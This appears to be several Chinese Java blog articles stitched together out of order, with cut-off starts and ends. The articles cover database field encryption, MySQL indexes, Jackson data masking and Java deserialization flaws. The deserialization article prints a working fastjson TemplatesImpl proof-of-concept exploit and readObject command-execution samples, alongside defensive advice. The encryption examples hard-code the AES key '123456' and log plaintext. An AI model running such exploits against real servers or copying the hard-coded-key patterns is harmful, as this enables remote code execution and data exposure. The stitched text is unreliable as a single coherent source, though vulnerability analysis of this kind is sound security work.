UserEntity entity = new UserEntity(); entity.setId(3l); entity.setEmail("123@123.com"); entity.setNickName("阿三"); entity.setPassWord("123"); entity.setRegTime("2021-10-10 00:00:00"); entity.setUserName("张三"); entity.setSalary("2500"); userMapperXml.insert(entity); } @Test public void query() throws Exception { List<UserEntity> dataList = userMapperXml.findAll(); System.out.println(JSON.toJSONString(dataList)); } }插入数据后,如下图,数据库存储的数据已被加密!我们继续来看看,运行查询服务,结果如下图,数据被成功解密!采用配置方式,最大的好处就是直接通过配置脱敏列就可以完成对某些数据表字段的脱敏,非常方便。2.3、自定义一套脱敏工具当然,有的同学可能会觉得shardingsphere配置虽然简单,但是还是不放心,里面的很多规则自己无法掌控,想自己开发一套数据库的脱敏工具。方案也是有的,例如如下这套实践方案,以Mybatis为例:首先编写一套加解密的算法工具类通过Mybatis的typeHandler插件,实现特定字段的加解密实践过程如下:2.3.1、加解密工具类public class AESCryptoUtil { private static final Logger log = LoggerFactory.getLogger(AESCryptoUtil.class); private static final String DEFAULT_ENCODING = "UTF-8"; private static final String AES = "AES"; /** * 加密 * * @param content 需要加密内容 * @param key 任意字符串 * @return * @throws Exception */ public static String encryptByRandomKey(String content, String key) { try { //构造密钥生成器,生成一个128位的随机源,产生原始对称密钥 KeyGenerator keygen = KeyGenerator.getInstance(AES); SecureRandom random = SecureRandom.getInstance("SHA1PRNG"); random.setSeed(key.getBytes()); keygen.init(128, random); byte[] raw = keygen.generateKey().getEncoded(); SecretKey secretKey = new SecretKeySpec(raw, AES); Cipher cipher = Cipher.getInstance(AES); cipher.init(Cipher.ENCRYPT_MODE, secretKey); byte[] encrypted = cipher.doFinal(content.getBytes("utf-8")); return Base64.getEncoder().encodeToString(encrypted); } catch (Exception e) { log.warn("AES加密失败,参数:{},错误信息:{}", content, e); return ""; } } public static String decryptByRandomKey(String content, String key) { try { //构造密钥生成器,生成一个128位的随机源,产生原始对称密钥 KeyGenerator generator = KeyGenerator.getInstance(AES); SecureRandom random = SecureRandom.getInstance("SHA1PRNG"); random.setSeed(key.getBytes()); generator.init(128, random); SecretKey secretKey = new SecretKeySpec(generator.generateKey().getEncoded(), AES); Cipher cipher = Cipher.getInstance(AES); cipher.init(Cipher.DECRYPT_MODE, secretKey); byte[] encrypted = Base64.getDecoder().decode(content); byte[] original = cipher.doFinal(encrypted); return new String(original, DEFAULT_ENCODING); } catch (Exception e) { log.warn("AES解密失败,参数:{},错误信息:{}", content, e); return ""; } } public static void main(String[] args) { String encryptResult = encryptByRandomKey("Hello World", "123456"); System.out.println(encryptResult); String decryptResult = decryptByRandomKey(encryptResult, "123456"); System.out.println(decryptResult); } }2.3.2、针对 salary 字段进行单独解析<mapper namespace="com.example.shardingsphere.mapper.UserMapperXml" > <resultMap id="BaseResultMap" type="com.example.shardingsphere.entity.UserEntity" > <id column="id" property="id" jdbcType="BIGINT" /> <result column="email" property="email" jdbcType="VARCHAR" /> <result column="nick_name" property="nickName" jdbcType="VARCHAR" /> <result column="pass_word" property="passWord" jdbcType="VARCHAR" /> <result column="reg_time" property="regTime" jdbcType="VARCHAR" /> <result column="user_name" property="userName" jdbcType="VARCHAR" /> <result column="salary" property="salary" jdbcType="VARCHAR" typeHandler="com.example.shardingsphere.handle.EncryptDataRuleTypeHandler"/> </resultMap> <select id="findAll" resultMap="BaseResultMap"> select * from user </select> <insert id="insert" parameterType="com.example.shardingsphere.entity.UserEntity"> INSERT INTO user(id,email,nick_name,pass_word,reg_time,user_name, salary) VALUES( #{id}, #{email}, #{nickName}, #{passWord}, #{regTime}, #{userName}, #{salary,jdbcType=INTEGER,typeHandler=com.example.shardingsphere.handle.EncryptDataRuleTypeHandler}) </insert> </mapper>EncryptDataRuleTypeHandler解析器,内容如下:public class EncryptDataRuleTypeHandler implements TypeHandler<String> { private static final String EMPTY = ""; /** * 写入数据 * @param preparedStatement * @param i * @param data * @param jdbcType * @throws SQLException */ @Override public void setParameter(PreparedStatement preparedStatement, int i, String data, JdbcType jdbcType) throws SQLException { if (StringUtils.isEmpty(data)) { preparedStatement.setString(i, EMPTY); } else { preparedStatement.setString(i, AESCryptoUtil.encryptByRandomKey(data, "123456")); } } /** * 读取数据 * @param resultSet * @param columnName * @return * @throws SQLException */ @Override public String getResult(ResultSet resultSet, String columnName) throws SQLException { return decrypt(resultSet.getString(columnName)); } /** * 读取数据 * @param resultSet * @param columnIndex * @return * @throws SQLException */ @Override public String getResult(ResultSet resultSet, int columnIndex) throws SQLException { return decrypt(resultSet.getString(columnIndex)); } /** * 读取数据 * @param callableStatement * @param columnIndex * @return * @throws SQLException */ @Override public String getResult(CallableStatement callableStatement, int columnIndex) throws SQLException { return decrypt(callableStatement.getString(columnIndex)); } /** * 对数据进行解密 * @param data * @return */ private String decrypt(String data) { return AESCryptoUtil.decryptByRandomKey(data, "123456"); } }2.3.3、单元测试再次运行单元测试,程序读写正常!通过如下的方式,也可以实现对数据表中某个特定字段进行数据脱敏处理!三、小结因业务的需求,当需要对某些数据表字段进行脱敏处理的时候,有个细节很容易遗漏,那就是字典类型,例如salary字段,根据常规,很容易想到使用数字类型,但是却不是,要知道加密之后的数据都是一串乱码,数字类型肯定是无法存储字符串的,因此在定义的时候,这个要留心一下。其次,很多同学可能会觉得,这个也不能防范比人窃取数据啊!如果加密使用的密钥和数据都在一个项目里面,答案是肯定的,你可以随便解析任何人的数据。因此在实际的处理上,这个更多的是在流程上做变化。例如如下方式:首先,加密采用的密钥会在另外一个单独的服务来存储管理,保证密钥不轻易泄露出去,最重要的是加密的数据不轻易被别人解密。其次,例如某些人想要访问谁的工资条数据,那么就需要做二次密码确认,也就是输入自己的密码才能获取,可以进一步防止研发人员随意通过接口方式读取数据。最后就是,杜绝代码留漏洞。以上三套方案,都可以帮助大家实现数据库字段数据的脱敏,希望能帮助到大家,谢谢欣赏!
索引的类型(常见的)主键索引(primary key)主键索引这个阿粉从刚开始接触开发的时候,就被各种灌输,表的主键就默认是索引,不允许出现空值。普通索引(index/normal)MySQL中基本索引类型,没有什么限制,允许在定义索引的列中插入重复值和空值。全文索引(fulltext)只能在文本类型CHAR,VARCHAR,TEXT类型字段上创建全文索引。MyISAM和InnoDB中都可以使用全文索引。唯一索引(unique)索引列中的值必须是唯一的,但是允许为空值。索引的类型肯定不限制于这几项,既然我们知道分类了,我们接下来再来看看不同索引的创建方式不同索引的创建方式其实如果你真的不会去写 SQL 去创建索引,最简单的,Navicat 你总是会用的吧,图形化的界面操作,你肯定也是了解的吧,那图形化直接操作不就好了。这样子操作是不是简单明了,选择你想要创建索引的类型,然后指名你想要创建索引的字段,最后再给他加上个注释,完美解决,但是我们还是要写语句来看一下的。创建普通的索引ALTER TABLE table_name ADD INDEX index_name (column)比如我们有一张表叫做 user 我们想给 user 表中的一个叫做 phone 字段增加一个索引,应该怎么去写呢?ALTER TABLE user ADD INDEX phoneIndex (phone)这时候我们就创建好了一个索引了,索引的删除,相对来说也是非常的简单。其实说是创建索引,实际上就是给我们原有表中的某个字段上增加一个索引,这个大家一定得清楚哈,千万别和 Create 给搞混了。下面阿粉就直接简单的给大家称之为创建吧。ALTER TABLE testalter_tb1 DROP INDEX index_name这样删除我们刚才建立的索引就是ALTER TABLE user DROP INDEX phoneIndex这时候我们就能看到删除成功了。> OK > 时间: 0.012s创建唯一索引(unique)并删除ALTER TABLE user ADD unique phoneIndex (phone)ALTER TABLE user DROP INDEX phoneIndex;千万不要想当然的认为创建的时候我指定了索引的类型,然后删除的时候也执行一个 ALTER TABLE user DROP unique phoneIndex; 阿粉亲身实践,确实是不成功的。创建主键索引(primary key)并删除ALTER TABLE user ADD PRIMARY KEY (phone):ALTER TABLE user DROP PRIMARY KEY一般我们在建表的时候,都把这个主键索引都建好了,所以使用的场景并不是很多见。创建全文索引(fulltext)并删除创建方式都差不多就是这样ALTER TABLE user ADD FULLTEXT phoneIndex (phone)ALTER TABLE user DROP INDEX phoneIndex;既然我们了解了创建的方式了,那是不是该回归正题,说说为什么使用索引就会快,这就得涉及到索引的底层知识了,索引的实现在没有索引的情况下,我们查找数据只能按照从头到尾的顺序逐行查找,每查找一行数据,意味着我们要到到磁盘相应的位置去读取一条数据。如果把查询一条数据分为到磁盘中查询和比对查询条件两步的话,到磁盘中查询的时间会远远大于比对查询条件的时间,这意味着在一次查询中,磁盘io占用了大部分的时间。更进一步地说,一次查询的效率取绝于磁盘io的次数,如果我们能够在一次查询中尽可能地降低磁盘io的次数,那么我们就能加快查询的速度。所以我们就要开始引入索引,然后分析索引底层是如何实现查找迅速的。实际上索引的底层实际上就是树,也就 B 树和 B+ 树,也可以称之为变种的 B+ 树。大家也都知道 Mysql中最常用的引擎像InnoDB和MyISAM,最终都选择了B+树作为索引那我们来说说这个B树和B+树。B-树,也称为B树,是一种平衡的多叉树(可以对比一下平衡二叉查找树),它比较适用于对外查找画一个二阶B树二阶B树那么我们为什么称他为二阶 B 树呢?这个阶数实际上就是说一个 节点 最多有几个 子节点我们上面的图,X元素,有2个子节点,A 元素,又有2个 子节点 C 和 D ,而 B 元素,又有 2 个子节点 E F ,也就是说一个节点最多有多少个子节点,我们就称它为几阶的树,通常这个值一般用 m 来表示。注意我们所说的,也就是一个节点上 最多 的子节点数,如果有一个分支是有三个节点,而有一个是 两个节点 ,那我们就称它为 三阶 B 树。一颗m阶的 B 树 要满足什么条件呢?每个节点至多可以拥有m棵子树。根节点,只有至少有2个节点(要么极端情况,就是一棵树就一个根节点,单细胞生物,即是根,也是叶,也是树)。非根非叶的节点至少有的Ceil(m/2)个子树(Ceil表示向上取整,图中3阶B树,每个节点至少有2个子树,也就是至少有2个叉)。非叶节点中的信息包括[n,A0,K1,A1,K2,A2,…,Kn,An],,其中n表示该节点中保存的关键字个数,K为关键字且Ki<Ki+1,A为指向子树根节点的指针。从根到叶子的每一条路径都有相同的长度,也就是说,叶子节点在相同的层,并且这些节点不带信息,实际上这些节点就表示找不到指定的值,也就是指向这些节点的指针为空。B树的查询过程和二叉排序树比较类似,从根节点依次比较每个节点,因为每个节点中的关键字和左右子树都是有序的,所以只要比较节点中的关键字,或者沿着指针就能很快地找到指定的关键字,如果查找失败,则会返回叶子节点,即空指针。B树搜索的简单伪算法如下:BTree_Search(node, key) { if(node == null) return null; foreach(node.key) { if(node.key[i] == key) return node.data[i]; if(node.key[i] > key) return BTree_Search(point[i]->node); } return BTree_Search(point[i+1]->node); } data = BTree_Search(root, my_key);这就是个伪算法,写的不好,大家见谅,那么什么是 B+ 树呢?B+ 树是一种树数据结构,是一个n叉树,每个节点通常有多个孩子,一颗B+树包含根节点、内部节点和叶子节点。根节点可能是一个叶子节点,也可能是一个包含两个或两个以上孩子节点的节点。B+ 树通常用于数据库和操作系统的文件系统中。NTFS, ReiserFS, NSS, XFS, JFS, ReFS 和BFS等文件系统都在使用B+树作为元数据索引。B+ 树的特点是能够保持数据稳定有序,其插入与修改拥有较稳定的对数时间复杂度。B+ 树元素自底向上插入。那 B+ 树又有哪些比较显著的特点呢?每个父节点的元素都出现在了子节点中,分别是子节点最大或者最小的元素。在上面的这一棵树中,根节点元素8是子节点258的最大的元素,根元素15也是。这时候要注意了,根节点最大的元素等同于整个B+树的最大的元素,以后无论是怎么插入或者是删除,始终都要保持最大的元素在根节点中。叶子节点,因为父节点的元素都出现在了子节点当中,因此所有的叶子节点包含了全量的元素信息。B+树与B树差异有k个子节点的节点必然有k个元素非叶子节点仅具有索引作用,跟记录有关的信息均存放在叶子节点中树的所有叶子节点构成一个有序链表,可以按照元素排序的次序遍历全部记录B树和B+树的区别在于,B+树的非叶子节点只包含导航信息,不包含实际的值,所有的叶子节点和相连的节点使用链表相连,便于区间查找和遍历。说到这里,就会有读者开始想,说了半天,没有说到重点,为什么加了索引就快呢?刚才阿粉也说了,数据库读取数据,是从磁盘上通过 IO 来进行数据的操作,一次磁盘IO操作可以取出物理存储中相邻的一大片数据,如果查询的索引数据(就是B+树中从根节点一直到叶子节点整个过程中查询的节点数)都集中在该区域,那么只需要一次磁盘IO,否则就需要多次磁盘IO。这么说是不是就相对的简单明了了。再举出一个简单的例子:比如我们想要查询 user 表中 name 为 xiaohong 的数据,在我们写 SQL 的时候select * from user where name = 'xiaohong'这时候没有索引的情况下,数据库直接就把整个表全部扫描一遍,然后去找 name = ‘xiaohong’ 的数据而我们给他加上索引之后,会通过索引查找去查询名为 ‘xiaohong‘ 的数据,因为该索引已经按照字母顺序排列,因此要查找名为 ‘xiaohong' 的记录时会快很多。大家明白了么?就像是一个词典,我把 x 开头的数据都给你罗列出来,然后你从 x 开头的数据中去寻找,和你直接没有任何处理,直接一页一页的翻词典的速度,哪一个更快,相信大家也都明白了吧。
一、背景实际的业务开发过程中,我们经常需要对用户的隐私数据进行脱敏处理,所谓脱敏处理其实就是将数据进行混淆隐藏,例如下图,将用户的手机号、地址等数据信息,采用*进行隐藏,以免泄露个人隐私信息。如果需要脱敏的数据范围很小很小,甚至就是指定的字段,一般的处理方式也很简单,就是写一个隐藏方法即可实现数据脱敏。如果是需求很少的情况下,采用这种方式实现没太大问题,好维护!但如果是类似上面那种很多位置的数据,需要分门别类的进行脱敏处理,通过这种简单粗暴的处理,代码似乎就显得不太优雅了。思考一下,我们可不可以在数据输出的阶段,进行统一数据脱敏处理,这样就可以省下不少体力活。说到数据输出,很多同学可能会想到 JSON 序列化。是的没错,我们所熟悉的 web 系统,就是将数据通过 json 序列化之后展示给前端。那么问题来了,如何在序列化的时候,进行数据脱敏处理呢?废话不多说,代码直接撸上!二、程序实践2.1、首先添加依赖包默认的情况下,如果当前项目已经添加了spring-web包或者spring-boot-starter-web包,因为这些jar包已经集成了jackson相关包,因此无需重复依赖。如果当前项目没有jackson包,可以通过如下方式进行添加相关依赖包。<!--jackson依赖--> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-core</artifactId> <version>2.9.8</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-annotations</artifactId> <version>2.9.8</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.8</version> </dependency>2.2、编写脱敏类型枚举类,满足不同场景的处理public enum SensitiveEnum { /** * 中文名 */ CHINESE_NAME, /** * 身份证号 */ ID_CARD, /** * 座机号 */ FIXED_PHONE, /** * 手机号 */ MOBILE_PHONE, /** * 地址 */ ADDRESS, /** * 电子邮件 */ EMAIL, /** * 银行卡 */ BANK_CARD, /** * 公司开户银行联号 */ CNAPS_CODE }2.3、编写脱敏注解类import com.fasterxml.jackson.annotation.JacksonAnnotationsInside; import com.fasterxml.jackson.databind.annotation.JsonSerialize; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; @Retention(RetentionPolicy.RUNTIME) @JacksonAnnotationsInside @JsonSerialize(using = SensitiveSerialize.class) public @interface SensitiveWrapped { /** * 脱敏类型 * @return */ SensitiveEnum value(); }2.4、编写脱敏序列化类import com.fasterxml.jackson.core.JsonGenerator; import com.fasterxml.jackson.databind.BeanProperty; import com.fasterxml.jackson.databind.JsonMappingException; import com.fasterxml.jackson.databind.JsonSerializer; import com.fasterxml.jackson.databind.SerializerProvider; import com.fasterxml.jackson.databind.ser.ContextualSerializer; import java.io.IOException; import java.util.Objects; public class SensitiveSerialize extends JsonSerializer<String> implements ContextualSerializer { /** * 脱敏类型 */ private SensitiveEnum type; @Override public void serialize(String s, JsonGenerator jsonGenerator, SerializerProvider serializerProvider) throws IOException { switch (this.type) { case CHINESE_NAME: { jsonGenerator.writeString(SensitiveInfoUtils.chineseName(s)); break; } case ID_CARD: { jsonGenerator.writeString(SensitiveInfoUtils.idCardNum(s)); break; } case FIXED_PHONE: { jsonGenerator.writeString(SensitiveInfoUtils.fixedPhone(s)); break; } case MOBILE_PHONE: { jsonGenerator.writeString(SensitiveInfoUtils.mobilePhone(s)); break; } case ADDRESS: { jsonGenerator.writeString(SensitiveInfoUtils.address(s, 4)); break; } case EMAIL: { jsonGenerator.writeString(SensitiveInfoUtils.email(s)); break; } case BANK_CARD: { jsonGenerator.writeString(SensitiveInfoUtils.bankCard(s)); break; } case CNAPS_CODE: { jsonGenerator.writeString(SensitiveInfoUtils.cnapsCode(s)); break; } } } @Override public JsonSerializer<?> createContextual(SerializerProvider serializerProvider, BeanProperty beanProperty) throws JsonMappingException { // 为空直接跳过 if (beanProperty != null) { // 非 String 类直接跳过 if (Objects.equals(beanProperty.getType().getRawClass(), String.class)) { SensitiveWrapped sensitiveWrapped = beanProperty.getAnnotation(SensitiveWrapped.class); if (sensitiveWrapped == null) { sensitiveWrapped = beanProperty.getContextAnnotation(SensitiveWrapped.class); } if (sensitiveWrapped != null) { // 如果能得到注解,就将注解的 value 传入 SensitiveSerialize return new SensitiveSerialize(sensitiveWrapped.value()); } } return serializerProvider.findValueSerializer(beanProperty.getType(), beanProperty); } return serializerProvider.findNullValueSerializer(beanProperty); } public SensitiveSerialize() {} public SensitiveSerialize(final SensitiveEnum type) { this.type = type; } }其中createContextual的作用是通过字段已知的上下文信息定制JsonSerializer对象。2.4、编写脱敏工具类import org.apache.commons.lang3.StringUtils; public class SensitiveInfoUtils { /** * [中文姓名] 只显示第一个汉字,其他隐藏为2个星号<例子:李**> */ public static String chineseName(final String fullName) { if (StringUtils.isBlank(fullName)) { return ""; } final String name = StringUtils.left(fullName, 1); return StringUtils.rightPad(name, StringUtils.length(fullName), "*"); } /** * [中文姓名] 只显示第一个汉字,其他隐藏为2个星号<例子:李**> */ public static String chineseName(final String familyName, final String givenName) { if (StringUtils.isBlank(familyName) || StringUtils.isBlank(givenName)) { return ""; } return chineseName(familyName + givenName); } /** * [身份证号] 显示最后四位,其他隐藏。共计18位或者15位。<例子:420**********5762> */ public static String idCardNum(final String id) { if (StringUtils.isBlank(id)) { return ""; } return StringUtils.left(id, 3).concat(StringUtils .removeStart(StringUtils.leftPad(StringUtils.right(id, 4), StringUtils.length(id), "*"), "***")); } /** * [固定电话] 后四位,其他隐藏<例子:****1234> */ public static String fixedPhone(final String num) { if (StringUtils.isBlank(num)) { return ""; } return StringUtils.leftPad(StringUtils.right(num, 4), StringUtils.length(num), "*"); } /** * [手机号码] 前三位,后四位,其他隐藏<例子:138******1234> */ public static String mobilePhone(final String num) { if (StringUtils.isBlank(num)) { return ""; } return StringUtils.left(num, 3).concat(StringUtils .removeStart(StringUtils.leftPad(StringUtils.right(num, 4), StringUtils.length(num), "*"), "***")); } /** * [地址] 只显示到地区,不显示详细地址;我们要对个人信息增强保护<例子:北京市海淀区****> * * @param sensitiveSize 敏感信息长度 */ public static String address(final String address, final int sensitiveSize) { if (StringUtils.isBlank(address)) { return ""; } final int length = StringUtils.length(address); return StringUtils.rightPad(StringUtils.left(address, length - sensitiveSize), length, "*"); } /** * [电子邮箱] 邮箱前缀仅显示第一个字母,前缀其他隐藏,用星号代替,@及后面的地址显示<例子:g**@163.com> */ public static String email(final String email) { if (StringUtils.isBlank(email)) { return ""; } final int index = StringUtils.indexOf(email, "@"); if (index <= 1) { return email; } else { return StringUtils.rightPad(StringUtils.left(email, 1), index, "*") .concat(StringUtils.mid(email, index, StringUtils.length(email))); } } /** * [银行卡号] 前六位,后四位,其他用星号隐藏每位1个星号<例子:6222600**********1234> */ public static String bankCard(final String cardNum) { if (StringUtils.isBlank(cardNum)) { return ""; } return StringUtils.left(cardNum, 6).concat(StringUtils.removeStart( StringUtils.leftPad(StringUtils.right(cardNum, 4), StringUtils.length(cardNum), "*"), "******")); } /** * [公司开户银行联号] 公司开户银行联行号,显示前两位,其他用星号隐藏,每位1个星号<例子:12********> */ public static String cnapsCode(final String code) { if (StringUtils.isBlank(code)) { return ""; } return StringUtils.rightPad(StringUtils.left(code, 2), StringUtils.length(code), "*"); } }2.5、编写测试实体类最后,我们编写一个实体类UserEntity,看看转换后的效果如何?public class UserEntity { /** * 用户ID */ private Long userId; /** * 用户姓名 */ private String name; /** * 手机号 */ @SensitiveWrapped(SensitiveEnum.MOBILE_PHONE) private String mobile; /** * 身份证号码 */ @SensitiveWrapped(SensitiveEnum.ID_CARD) private String idCard; /** * 年龄 */ private String sex; /** * 性别 */ private int age; //省略get、set... }测试程序如下:public class SensitiveDemo { public static void main(String[] args) throws JsonProcessingException { UserEntity userEntity = new UserEntity(); userEntity.setUserId(1l); userEntity.setName("张三"); userEntity.setMobile("18000000001"); userEntity.setIdCard("420117200001011000008888"); userEntity.setAge(20); userEntity.setSex("男"); //通过jackson方式,将对象序列化成json字符串 ObjectMapper objectMapper = new ObjectMapper(); System.out.println(objectMapper.writeValueAsString(userEntity)); } }结果如下:{"userId":1,"name":"张三","mobile":"180****0001","idCard":"420*****************8888","sex":"男","age":20}很清晰的看到,转换结果成功!如果你当前的项目是基于SpringMVC框架进行开发的,那么在对象返回的时候,框架会自动帮你采用jackson框架进行序列化。@RequestMapping("/hello") public UserEntity hello() { UserEntity userEntity = new UserEntity(); userEntity.setUserId(1l); userEntity.setName("张三"); userEntity.setMobile("18000000001"); userEntity.setIdCard("420117200001011000008888"); userEntity.setAge(20); userEntity.setSex("男"); return userEntity; }请求网页http://127.0.0.1:8080/hello,结果如下:三、小结在实际的业务场景开发中,采用注解方式进行全局数据脱敏处理,可以有效的解决敏感数据隐私泄露的问题。本文主要从实操层面对数据脱敏处理做了简单的介绍,可能有些网友还有更好的解决方案,欢迎下方留言,后面如果遇到了好的解决办法,也会分享给大家,愿对大家有所帮助!
先开启 server,再运行 client 后,计算器会直接被打开!究其原因,主要是这个类JtaTransactionManager类存在问题,最终导致了漏洞的实现。打开源码,翻到最下面,可以很清晰的看到JtaTransactionManager类重写了readObject方法。重点就是这个方法initUserTransactionAndTransactionManager(),里面会转调用到JndiTemplate的lookup()方法。可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。也就是说,通过JtaTransactionManager类的setUserTransactionName()方法执行,最终指向了rmi://127.0.0.1:1099/Object,导致服务执行了恶意类的远程代码。2.3、FASTJSON 框架的反序列化漏洞分析我们先来看一个简单的例子,程序代码如下:import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("open /Applications/Calculator.app/"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) { } public static void main(String[] args) throws Exception { Test t = new Test(); } }运行程序之后,同样的直接会打开电脑中的计算器。恶意代码植入的核心就是在对象初始化阶段,直接会调用Runtime.getRuntime().exec("open /Applications/Calculator.app/")这个方法,通过运行时操作类直接执行恶意代码。我们在来看看下面这个例子:import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class POC { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }在这个程序验证代码中,最核心的部分是_bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,所以是设置不了的,只能依赖于jdk的实现,某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本会执行成功,如果是高版本的,可能会报错!详细分析请移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/Jackson 的反序列化漏洞也与之类似。三、如何防范从上面的案例看,java 的序列化和反序列化,单独使用的并没有啥毛病,核心问题也都不是反序列化,但都是因为反序列化导致了恶意代码被执行了,尤其是两个看似安全的组件,如果在同一系统中交叉使用,也能会带来一定安全问题。3.1、禁止 JVM 执行外部命令 Runtime.exec从上面的代码中,我们不难发现,恶意代码最终都是通过Runtime.exec这个方法得到执行,因此我们可以从 JVM 层面禁止外部命令的执行。通过扩展 SecurityManager 可以实现:public class SecurityManagerTest { public static void main(String[] args) { SecurityManager originalSecurityManager = System.getSecurityManager(); if (originalSecurityManager == null) { // 创建自己的SecurityManager SecurityManager sm = new SecurityManager() { private void check(Permission perm) { // 禁止exec if (perm instanceof java.io.FilePermission) { String actions = perm.getActions(); if (actions != null && actions.contains("execute")) { throw new SecurityException("execute denied!"); } } // 禁止设置新的SecurityManager,保护自己 if (perm instanceof java.lang.RuntimePermission) { String name = perm.getName(); if (name != null && name.contains("setSecurityManager")) { throw new SecurityException("System.setSecurityManager denied!"); } } } @Override public void checkPermission(Permission perm) { check(perm); } @Override public void checkPermission(Permission perm, Object context) { check(perm); } }; System.setSecurityManager(sm); } } }只要在 Java 代码里简单加上面那一段,就可以禁止执行外部程序了,但是并非禁止外部程序执行,Java 程序就安全了,有时候可能适得其反,因为执行权限被控制太苛刻了,不见得是个好事,我们还得想其他招数。3.2、增加多层数据校验比较有效的办法是,当我们把接口参数暴露出去之后,服务端要及时做好数据参数的验证,尤其是那种带有http、https、rmi等这种类型的参数过滤验证,可以进一步降低服务的风险。四、小结随着 Json 数据交换格式的普及,直接应用在服务端的反序列化接口也随之减少,但陆续爆出的Jackson和Fastjson两大 Json 处理库的反序列化漏洞,也暴露出了一些问题。所以我们在日常业务开发的时候,对于 Java 反序列化的安全问题应该具备一定的防范意识,并着重注意传入数据的校验、服务器权限和相关日志的检查, API 权限控制,通过 HTTPS 加密传输数据等方面进行下功夫,以免造成不必要的损失!
一、背景在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。DUBBO:对象传输必须要实现序列化RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口而在反序列化的背后,却隐藏了很多不为人知的秘密!最为出名的大概应该是:15年的 Apache Commons Collections 反序列化远程命令执行漏洞,当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件,直接在互联网行业掀起了一阵飓风。2016 年 Spring RMI 反序列化爆出漏洞,攻击者可以通过 JtaTransactionManager 这个类,来远程执行恶意代码。2017 年 4月15 日,Jackson 框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。还有 fastjson,一款 java 编写的高性能功能非常完善的 JSON 库,应用范围非常广,在 2017 年,fastjson 官方主动爆出 fastjson 在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。Java 十分受开发者喜爱的一点,就是其拥有完善的第三方类库,和满足各种需求的框架。但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,或者在数据校验入口就没有把关好,那么受影响范围将极为广泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。那么问题来了,攻击者是如何精心构造反序列化对象并执行恶意代码的呢?二、漏洞分析2.1、漏洞基本原理我们先看一段代码如下:public class DemoSerializable { public static void main(String[] args) throws Exception { //定义myObj对象 MyObject myObj = new MyObject(); myObj.name = "hello world"; //创建一个包含对象进行反序列化信息的”object”数据文件 FileOutputStream fos = new FileOutputStream("object"); ObjectOutputStream os = new ObjectOutputStream(fos); //writeObject()方法将myObj对象写入object文件 os.writeObject(myObj); os.close(); //从文件中反序列化obj对象 FileInputStream fis = new FileInputStream("object"); ObjectInputStream ois = new ObjectInputStream(fis); //恢复对象 MyObject objectFromDisk = (MyObject)ois.readObject(); System.out.println(objectFromDisk.name); ois.close(); } } class MyObject implements Serializable { /** * 任意属性 */ public String name; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); //执行指定程序 Runtime.getRuntime().exec("open https://www.baidu.com/"); } }运行程序之后,控制台会输出hello world,同时也会打开网页跳转到https://www.baidu.com/。从这段逻辑中分析,我们可以很清晰的看到反序列化已经成功了,但是程序又偷偷的执行了一段如下代码。Runtime.getRuntime().exec("open 